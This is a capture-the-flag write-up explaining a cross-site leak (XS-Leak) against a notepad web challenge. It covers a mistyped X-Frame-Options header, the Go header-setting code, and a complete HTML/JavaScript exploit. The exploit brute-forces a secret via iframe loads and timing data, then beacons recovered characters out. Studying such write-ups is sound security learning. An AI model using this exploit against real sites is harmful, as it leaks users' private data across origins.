This challenge was based on [XSLeaks](https://xsleaks.dev/). The challenge
uses a `Secure` cookie with SameSite as `None`. One other important difference
in this challenge is the typo `"X-Frame-Options": "DENI",`. This allows the
page to open in an Iframe. The Header setting part is shown below.

```go  
for k, v := range param {  
for _, d := range v {

if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) &&
!regexp.MustCompile("[A-Za-z]{7}-[A-Za-z]{11}").MatchString(k) && len(d) < 4
&& len(k) < 39 {  
w.Header().Set(k, d)  
}  
break  
}  
break  
}  
```

In this, we are allowed to set only a Header value of less than 4 characters.
And it also disallows a Header name that matches
`[A-Za-z]{7}-[A-Za-z]{11}`(Intent was to block Content-Disposition). The idea
was to use `Timing-Allow-Origin: *` header. This header allows the host to use
the performance api on the request used to fetch that resource. Without
Timimg-Allow-Origin header, performance api doesn't give back the full result,
but a minified version of it.

The state I used in my POC was `nextHopProtocol`, which would be equal to ""
if the header was not set. So, if our startsWith is correct, `nextHopProtocol`
would be empty.

Exploit:  
```html  
<html>  
<head>  
<title>Exploit - Ken's Chronicle</title>  
</head>

<body>

</body>  
<script>  
async function run() {  
startsWith = window.location.search.substring(1);

characterSet = "abcdefghijklmno"  
characterSet += "pqrstuvwxyz_{}"

for (var j = 0; j < characterSet.length; j++){  
bf = startsWith + characterSet[j]  
url = `https://7649ac48b82b.ngrok.io/find?startsWith=${bf}&debug&Timing-Allow-
Origin=*`  
  
var iframe = document.createElement('iframe');  
iframe.src = url;  
iframe.onload = "alert()"  
document.body.appendChild(iframe);

}  
}  
function sleep(ms) {  
return new Promise(resolve => setTimeout(resolve, ms));  
}

function checker(){  
list = window.performance.getEntriesByType("resource");  
console.log(list)  
for (i=0; i<list.length; i++){  
curr = list[i]  
if (curr.nextHopProtocol == ""){  
try {  
navigator.sendBeacon(`?flag=${curr.name.split("startsWith=")[1].split("&")[0]}`)  
} catch (error) {  
console.log(error)  
}  
}  
}  
}

async function doit() {  
run()  
await sleep(10000);  
checker()  
}  
doit()  
</script>

</html>  
```

One other way to do this is use `Refresh` header and counting the onload
events. Since this challenge uses a SameSite: None, has no Iframe protections,
aaand the number of headers we can use are vast, there are quite a number of
ways to solve this.

Original writeup (https://blog.bi0s.in/2021/08/16/Web/notepad-inctf21/).